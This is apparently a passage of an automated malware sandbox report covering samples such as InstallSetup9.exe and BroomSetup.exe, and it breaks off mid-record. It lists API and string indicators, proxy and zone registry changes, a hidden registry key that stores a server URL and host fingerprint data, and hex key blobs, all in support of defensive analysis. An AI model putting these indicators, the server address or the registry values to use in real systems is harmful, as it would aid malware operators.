00000000-00003572.00000001.84328.0040A000.00000004.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp, 00000000-00003572.00000002.84706.0040A000.00000004.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp, 00000000-00003572.00000002.84706.0040A000.00000004.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp, 00000000-00003572.00000002.84706.0040A000.00000004.mdmp") Found reference to API "FtpGetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp") Found reference to API "SHGetSpecialFolderLocation" (Indicator: "SHGetSpecialFolderLocation"; Source: "00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp")61:T1143,Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00001156.00000000.81939.00490000.00000004.mdmp, 00000000-00001156.00000001.82229.00490000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00001156.00000001.82229.00490000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00001156.00000001.82229.00490000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00001156.00000001.82229.00490000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00001156.00000001.82229.00490000.00000004.mdmp") Found string "\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00001156.00000001.82229.00533000.00000004.mdmp") Found string "\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00001156.00000001.82229.00533000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe" (Indicator: "\Device\"; Source: "00000000-00002180.00000000.83897.00190000.00000004.mdmp, 00000000-00002180.00000001.83914.00190000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00002180.00000000.83897.00190000.00000004.mdmp") Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00002180.00000000.83897.00190000.00000004.mdmp, 00000000-00002180.00000001.83914.00190000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00002180.00000000.83897.00190000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00002180.00000000.83897.00190000.00000004.mdmp, 00000000-00002180.00000001.83914.00190000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00002180.00000000.83897.00190000.00000004.mdmp, 00000000-00002180.00000001.83914.00190000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00002180.00000000.83897.00190000.00000004.mdmp") Found string "indows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00002180.00000001.83914.00190000.00000004.mdmp") Found string "indows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00002180.00000001.83914.00190000.00000004.mdmp") Found string "indows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00002180.00000001.83914.00190000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe" (Indicator: "\Device\"; Source: "00000000-00002516.00000001.83576.001D0000.00000004.mdmp") Found string "indows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00002516.00000001.83576.001D0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00002516.00000001.83576.001D0000.00000004.mdmp") Found string "indows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00002516.00000001.83576.001D0000.00000004.mdmp") Found string "indows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00002516.00000001.83576.001D0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00002516.00000001.83576.001D0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00002516.00000001.83576.001D0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00003572.00000000.82404.00610000.00000004.mdmp, 00000000-00003572.00000001.84328.00610000.00000004.mdmp, 00000000-00003572.00000002.84706.00610000.00000004.mdmp")62:T49b,Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "SeImpersonatePrivilege" (Indicator: "SeImpersonatePrivilege"; Source: "00000000-00002516.00000001.83576.0B880000.00000004.mdmp") Found reference to API "SeImpersonatePrivilege" (Indicator: "SeImpersonate"; Source: "00000000-00002516.00000001.83576.0B880000.00000004.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp, 00000000-00003572.00000002.84706.0040A000.00000004.mdmp")63:Tb22,"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "LDAPCLIENTINTEGRITY"; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEOLDHOSTRESOLUTIONORDER"; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEHOSTNAMEASALIAS"; Value: "") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "IPV4LOOPBACKALTERNATIVE"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPV6DOMAIN"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")64:T1ace,"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0000000000") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0100000000") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\BROOMCLEANER"; Key: "INSTALLED"; Value: "3100000000") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\137\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{EA175F26-E0D0-4286-A311-45301C4275B9}"; Key: "WPADDECISIONREASON"; Value: "0100000000") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{EA175F26-E0D0-4286-A311-45301C4275B9}"; Key: "WPADDECISIONTIME"; Value: "D639F5297143DD0100") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{EA175F26-E0D0-4286-A311-45301C4275B9}"; Key: "WPADDECISION"; Value: "0000000000") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{EA175F26-E0D0-4286-A311-45301C4275B9}"; Key: "WPADNETWORKNAME"; Value: "Network 8") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-E9-33"; Key: "WPADDECISIONREASON"; Value: "0100000000") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-E9-33"; Key: "WPADDECISIONTIME"; Value: "D639F5297143DD0100") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-E9-33"; Key: "WPADDECISION"; Value: "0000000000") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{EA175F26-E0D0-4286-A311-45301C4275B9}"; Key: "WPADDECISIONTIME"; Value: "8AFA5DAF8A43DD0100") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-E9-33"; Key: "WPADDECISIONTIME"; Value: "8AFA5DAF8A43DD0100") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "0000000000") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\CONNECTIONS"; Key: "SAVEDLEGACYSETTINGS"; Value: "460000000E0200000900000000000000000000000000000004000000000000003071E4E2286CD3010000000000000000000000000100000002000000C0A8F1FC00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0000000000") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0100000000") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\CONTENT"; Key: "CACHEPREFIX"; Value: "000000") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\COOKIES"; Key: "CACHEPREFIX"; Value: "Cookie:") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\HISTORY"; Key: "CACHEPREFIX"; Value: "Visited:") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{EA175F26-E0D0-4286-A311-45301C4275B9}"; Key: "WPADDECISIONTIME"; Value: "31439FE27043DD0100") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-E9-33"; Key: "WPADDECISIONTIME"; Value: "31439FE27043DD0100") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-E9-33"; Key: "WPADDETECTEDURL"; Value: "000000") "288c47bbc1871b439df19ff4df68f076.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "SERVERS"; Value: "https://localstats.org") "288c47bbc1871b439df19ff4df68f076.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "UUID"; Value: "000000") "288c47bbc1871b439df19ff4df68f076.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "FIRSTINSTALLDATE"; Value: "CE8CA66A0000000000") "288c47bbc1871b439df19ff4df68f076.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "SERVICEVERSION"; Value: "000000") "288c47bbc1871b439df19ff4df68f076.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "PGDSE"; Value: "000000000000000000") "288c47bbc1871b439df19ff4df68f076.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "SERVERSVERSION"; Value: "C30000000000000000") "288c47bbc1871b439df19ff4df68f076.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "OSCAPTION"; Value: "Microsoft Windows 7 Professional") "288c47bbc1871b439df19ff4df68f076.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "OSARCHITECTURE"; Value: "32-bit") "288c47bbc1871b439df19ff4df68f076.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "ISADMIN"; Value: "3100000000") "288c47bbc1871b439df19ff4df68f076.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "AV"; Value: "000000") "288c47bbc1871b439df19ff4df68f076.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "PATCHTIME"; Value: "000000000000000000") "288c47bbc1871b439df19ff4df68f076.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "CPU"; Value: "Intel(R) Xeon(R) Gold 6240R CPU @ 2.40GHz"), "288c47bbc1871b439df19ff4df68f076.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "GPU"; Value: "VMware SVGA 3D"), "BroomSetup.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\BROOM"; Key: "KEY"; Value: "XZWEN-27MCX-Z9JD1-USCSW"), "BroomSetup.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\BROOM"; Key: "DATE"; Value: "238F08E5D298E64000")65:T3217,"InstallSetup9.exe" called "BCryptImportKey" with parameters {"hAlgorithm": "6da280" "pszBlobType": "OpaqueKeyBlob" "phKey": "a0377202" "pbKeyObject": "620200005255555580a26d00c037720200000000000000000000000000000000300200004b53534d020001000500000010000000800000001000000096ceeae749114e7fc84b957533362df40000000001c7678d000000008c61c3780000000096ceeae749114e7fc84b957533362df492165524db071b5b134c8e2e207aa3da4a1c0293911b19c8825797e6a22d343c9604e9a9071ff06185486787276553bbd3e90365d4f6f30451be948376dbc7387a2f045daed9f759ff6763da89bca4e23f669cfa91bf6ba36ed80879e764ac9b3cf7886ead48e3cdc390ebb424f4472f03579d58ae1f7e956d8f9521497bd20e39e2366397fd48f6fa72ddd7b3090fd90e94030e99694bf8631b962fd01299f63af132773c8e5036936babd13b495f41909137a7067f6241afe5fbe7a822f4900905e7c696ee55e6a99a99a607c70f77eb1336f19febb2203f74cc40ae5d96d15fc639ac74f884d1a09f7e6091295a9140aa289e2b3ebd7dd467fab131b624f1565f964d6b9495e3ff5947cce5d1de40788fa5953dcb03ae94cdd22f1a88998cac449a874544a63ba906d1818e454ba396ceeae749114e7fc84b957533362df40000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000000040010000d4d5151540e4641f00000000000000000000000000000000000000000000000000000000000000000000" "cbKeyObject": "610" "pbInput": "300200004b53534d020001000500000010000000800000001000000096ceeae749114e7fc84b957533362df40000000001c7678d000000008c61c3780000000096ceeae749114e7fc84b957533362df492165524db071b5b134c8e2e207aa3da4a1c0293911b19c8825797e6a22d343c9604e9a9071ff06185486787276553bbd3e90365d4f6f30451be948376dbc7387a2f045daed9f759ff6763da89bca4e23f669cfa91bf6ba36ed80879e764ac9b3cf7886ead48e3cdc390ebb424f4472f03579d58ae1f7e956d8f9521497bd20e39e2366397fd48f6fa72ddd7b3090fd90e94030e99694bf8631b962fd01299f63af132773c8e5036936babd13b495f41909137a7067f6241afe5fbe7a822f4900905e7c696ee55e6a99a99a607c70f77eb1336f19febb2203f74cc40ae5d96d15fc639ac74f884d1a09f7e6091295a9140aa289e2b3ebd7dd467fab131b624f1565f964d6b9495e3ff5947cce5d1de40788fa5953dcb03ae94cdd22f1a88998cac449a874544a63ba906d1818e454ba396ceeae749114e7fc84b957533362df40000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000000040010000d4d5151540e4641f00000000000000000000000000000000" "cbInput": "560" "dwFlags": "0"} "InstallSetup9.exe" called "BCryptImportKey" with parameters {"hAlgorithm": "6da280" "pszBlobType": "OpaqueKeyBlob" "phKey": "p:r" "pbKeyObject": "00000000000000005a0200005255555580a26d00903a720200000000000000000000000000000000300200004b53534d02000100050000001000000080000000100000005645c26a0fa4f5bf4b043e4cb2925ef4fffffffffffffffffffffffffeffffff000000005645c26a0fa4f5bf4b043e4cb2925ef4181d7d5d17b988e25cbdb6aeee2fe85a0f86c375183f4b974482fd39aaad15639edf38d986e0734ec2628e7768cf9b141ccbc29c9a2bb1d258493fa53086a4b148820a98d2a9bb4a8ae084efba66205e5b35526c899ce926037c6dc9b91a4d97b9d6da3a304a331c33365ed58a2c134248abf64478e1c5584bd79b8dc1fb88cf5c6f7c3c248eb9646f5922e9aea2aa2650c38bd8744d32bc1b141055b5b6ba737cd8ba6dcb87b883780dd45c4a7855e7b46fa822b75f02eeb38a6cdf327581bb6bc80d210330aacc04d56e3181ffed644562ec9b68f8a7ed07e5c4fd852a83557a4f88e52d9a4b766f1d631082cf47a85133866d57d5c39342872866edd224b865c5989806e645fe1552ebf5af550cdec73175bc6323dd6613b4ae0bba07e72b8bd0a4daa412a8da7097736da9b349205645c26a0fa4f5bf4b043e4cb2925ef40000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a0000000400100002b9ef37795d355c90000000000000000000000000000000000000000000000000000" "cbKeyObject": "610" "pbInput": "300200004b53534d02000100050000001000000080000000100000005645c26a0fa4f5bf4b043e4cb2925ef4fffffffffffffffffffffffffeffffff000000005645c26a0fa4f5bf4b043e4cb2925ef4181d7d5d17b988e25cbdb6aeee2fe85a0f86c375183f4b974482fd39aaad15639edf38d986e0734ec2628e7768cf9b141ccbc29c9a2bb1d258493fa53086a4b148820a98d2a9bb4a8ae084efba66205e5b35526c899ce926037c6dc9b91a4d97b9d6da3a304a331c33365ed58a2c134248abf64478e1c5584bd79b8dc1fb88cf5c6f7c3c248eb9646f5922e9aea2aa2650c38bd8744d32bc1b141055b5b6ba737cd8ba6dcb87b883780dd45c4a7855e7b46fa822b75f02eeb38a6cdf327581bb6bc80d210330aacc04d56e3181ffed644562ec9b68f8a7ed07e5c4fd852a83557a4f88e52d9a4b766f1d631082cf47a85133866d57d5c39342872866edd224b865c5989806e645fe1552ebf5af550cdec73175bc6323dd6613b4ae0bba07e72b8bd0a4daa412a8da7097736da9b349205645c26a0fa4f5bf4b043e4cb2925ef40000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a0000000400100002b9ef37795d355c900000000000000000000000000000000" "cbInput": "560" "dwFlags": "0"} "InstallSetup9.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "6da5c8" "pszBlobType": "ECCPUBLICBLOB" "phKey": "e8c57000" "pbInput": "ECS1" "cbInput": "72" "dwFlags": "8"} "InstallSetup9.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "6da5c8" "pszBlobType": "ECCPUBLICBLOB" "phKey": "e8c77000" "pbInput": "ECS1" "cbInput": "72" "dwFlags": "8"} "InstallSetup9.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "6da718" "pszBlobType": "ECCPUBLICBLOB" "phKey": "a8c87000" "pbInput": "ECS30" "cbInput": "104" "dwFlags": "8"} "InstallSetup9.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "6da7c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "08c97000" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"} "InstallSetup9.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "6da718" "pszBlobType": "ECCPUBLICBLOB" "phKey": "48c97000" "pbInput": "ECS30" "cbInput": "104" "dwFlags": "0"} "InstallSetup9.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "6da5c8" "pszBlobType": "ECCPUBLICBLOB" "phKey": "28c97000" "pbInput": "ECS1" "cbInput": "72" "dwFlags": "0"} "InstallSetup9.exe" called "BCryptImportKey" with parameters {"hAlgorithm": "6da280" "pszBlobType": "OpaqueKeyBlob" "phKey": "30c57702" "pbKeyObject": "620200005255555580a26d0050c5770200000000ffffffff0600000000000000300200004b53534d0200010005000000100000008000000010000000862cf6a95af3afe66d3aeaf9b26fe4500000000000000000ffffffffffffffffffffffff862cf6a95af3afe66d3aeaf9b26fe4502f45a59e75b60a78188ce081aae304d13cb79b324901914a518d71cbfb6e751aa72a393dee2ba877bfa6d9bc44c8aca647bb1d26a990b55116366ced52fec04bec01ae2645911b7753a7779a0159b7d107a8905a42398b2d119efcb710c74b66811ba390c32228bdd2bcd40ac27b9f6c20c0f3b5e3e2db08315e0f02f325906e04a06cb8e742b7b0d61cb8b2253928dc2094ea87c7d65d3711cae58534f3cd59319eb9662893273e605b956ec04b06657b88ffaa190d9e5848c8b250a010930bb0fcdb3e628561f251c52c08e8d8215b485d1565d279bacc33404dfab91d0d535eb8d6559a24afa9e139f7368a5d40a9720bbd03c49c79fc7b1d589f6b64b79f45fdd2e3b697c4ffbf8121631079ef00b2e45125f36a161c0916e59caff8ce630a302249418e4739fa7cf380a6ee2bff862cf6a95af3afe66d3aeaf9b26fe4500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000000040010000cd330513205e340700000000000000000000000000000000dc6a480e0a8702307f6a80d62c75595f4f95" "cbKeyObject": "610" "pbInput": "300200004b53534d0200010005000000100000008000000010000000862cf6a95af3afe66d3aeaf9b26fe4500000000000000000ffffffffffffffffffffffff862cf6a95af3afe66d3aeaf9b26fe4502f45a59e75b60a78188ce081aae304d13cb79b324901914a518d71cbfb6e751aa72a393dee2ba877bfa6d9bc44c8aca647bb1d26a990b55116366ced52fec04bec01ae2645911b7753a7779a0159b7d107a8905a42398b2d119efcb710c74b66811ba390c32228bdd2bcd40ac27b9f6c20c0f3b5e3e2db08315e0f02f325906e04a06cb8e742b7b0d61cb8b2253928dc2094ea87c7d65d3711cae58534f3cd59319eb9662893273e605b956ec04b06657b88ffaa190d9e5848c8b250a010930bb0fcdb3e628561f251c52c08e8d8215b485d1565d279bacc33404dfab91d0d535eb8d6559a24afa9e139f7368a5d40a9720bbd03c49c79fc7b1d589f6b64b79f45fdd2e3b697c4ffbf8121631079ef00b2e45125f36a161c0916e59caff8ce630a302249418e4739fa7cf380a6ee2bff862cf6a95af3afe66d3aeaf9b26fe4500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000000040010000cd330513205e340700000000000000000000000000000000" "cbInput": "560" "dwFlags": "0"} "InstallSetup9.exe" called "BCryptImportKey" with parameters {"hAlgorithm": "6da280" "pszBlobType": "OpaqueKeyBlob" "phKey": "a0377202" "pbKeyObject": 